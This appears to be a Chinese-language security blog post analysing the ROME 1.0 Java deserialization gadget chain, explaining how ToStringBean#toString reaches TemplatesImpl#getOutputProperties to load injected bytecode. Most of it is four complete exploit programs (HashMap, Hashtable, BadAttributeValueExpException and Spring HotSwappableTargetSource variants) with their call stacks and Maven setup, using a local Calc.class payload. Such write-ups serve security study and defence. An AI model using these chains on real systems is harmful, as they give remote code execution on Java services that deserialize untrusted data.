Java反序列化 ROME链

环境搭建

jdk8u181

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

利用链分析

ROME反序列链的本质,是组件里的ToStringBean#toString可以任意getter调用。
image.png
image.png
例如调getOutputProperties就是代码执行,于是问题转换成如何调ClassName#toString。
由此,分出许多不同利用链,本质是不同调toString的链子。
下面给出核心调用链,不同的部分在Exp的函数调用栈写明。
ClassLoader#defineClass->
TemplatesImpl#defineClass->
TemplatesImpl#defineTransletClasses->
TemplatesImpl#getTransletInstance->
TemplatesImpl#newTransformer->
TemplatesImpl#getOutputProperties->
ToStringBean#toString->
GadgetsChains#triggerToStringFunction…..

Exp

HashMap

1
2
3
4
5
6
7
8
9
10
11
12
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
beanHashCode:193, EqualsBean
hashCode:176, EqualsBean
hash:339, HashMap
put:612, HashMap
main:26, ROMEHashMap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ROMEHashMap {
public static void main(String[] args) throws Exception {

TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
// ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");

SerialUtils.serialize(hashMap);
SerialUtils.unserialize();
}

}

HashTable

1
2
3
4
5
6
7
8
9
10
11
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
beanHashCode:193, EqualsBean
hashCode:110, ObjectBean
put:465, Hashtable
main:28, ROMEHashTable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;

public class ROMEHashTable {
public static void main(String[] args) throws Exception {

TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
// ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"123");

SerialUtils.serialize(hashtable);
SerialUtils.unserialize();
}
}

BadAttributeValueExpException

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
readObject:86, BadAttributeValueExpException
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
invokeReadObject:1170, ObjectStreamClass
readSerialData:2178, ObjectInputStream
readOrdinaryObject:2069, ObjectInputStream
readObject0:1573, ObjectInputStream
readObject:431, ObjectInputStream
unserialize:31, SerialUtils
main:27, ROMEBadAttributeValueExpException
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ROMEBadAttributeValueExpException {
public static void main(String[] args) throws Exception {

TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
// ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
ReflectUtils.setFieldValue(badAttributeValueExpException,"val",toStringBean);

SerialUtils.serialize(badAttributeValueExpException);
SerialUtils.unserialize();
}
}

HotSwappableTargetSource

SpringBoot原生toString链,需要加载SpringBoot依赖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.17</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>org.example</groupId>
<artifactId>ROME</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
</project>
1
2
3
4
5
6
7
8
9
10
11
12
13
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
equals:392, XString
equals:103, HotSwappableTargetSource
putVal:635, HashMap
put:612, HashMap
main:29, ROMEHotSwappableTargetSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ROMEHotSwappableTargetSource {
public static void main(String[] args) throws Exception {

TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);
// toStringBean.toString();

HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);

// SerialUtils.serialize(hashMap);
SerialUtils.unserialize();
}
}

小结

本质是,如果带了ROME这个组件,可以通过调toString,达到调任意getter的目的。

参考链接

ROME反序列化@枫
ROME反序列化@Ic4_F1ame